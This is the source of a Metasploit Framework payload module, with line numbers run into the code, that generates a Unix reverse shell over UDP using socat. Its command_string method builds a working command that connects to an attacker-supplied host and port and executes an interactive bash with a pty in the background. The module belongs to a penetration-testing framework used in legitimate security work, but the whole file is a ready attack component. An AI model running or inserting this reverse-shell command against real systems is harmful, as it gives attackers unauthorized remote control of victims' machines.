Path: blob/master/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 8778include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse UDP (via socat)',16'Description' => 'Creates an interactive shell via socat',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseUdp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'socat',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31register_advanced_options(32[33OptString.new('SocatPath', [true, 'The path to the Socat executable', 'socat']),34OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash'])35]36)37end3839#40# Constructs the payload41#42def generate(_opts = {})43vprint_good(command_string)44return super + command_string45end4647#48# Returns the command string to use for execution49#50def command_string51"#{datastore['SocatPath']} udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'#{datastore['BashPath']} -li',pty,stderr,sane 2>&1>/dev/null &"52end53end545556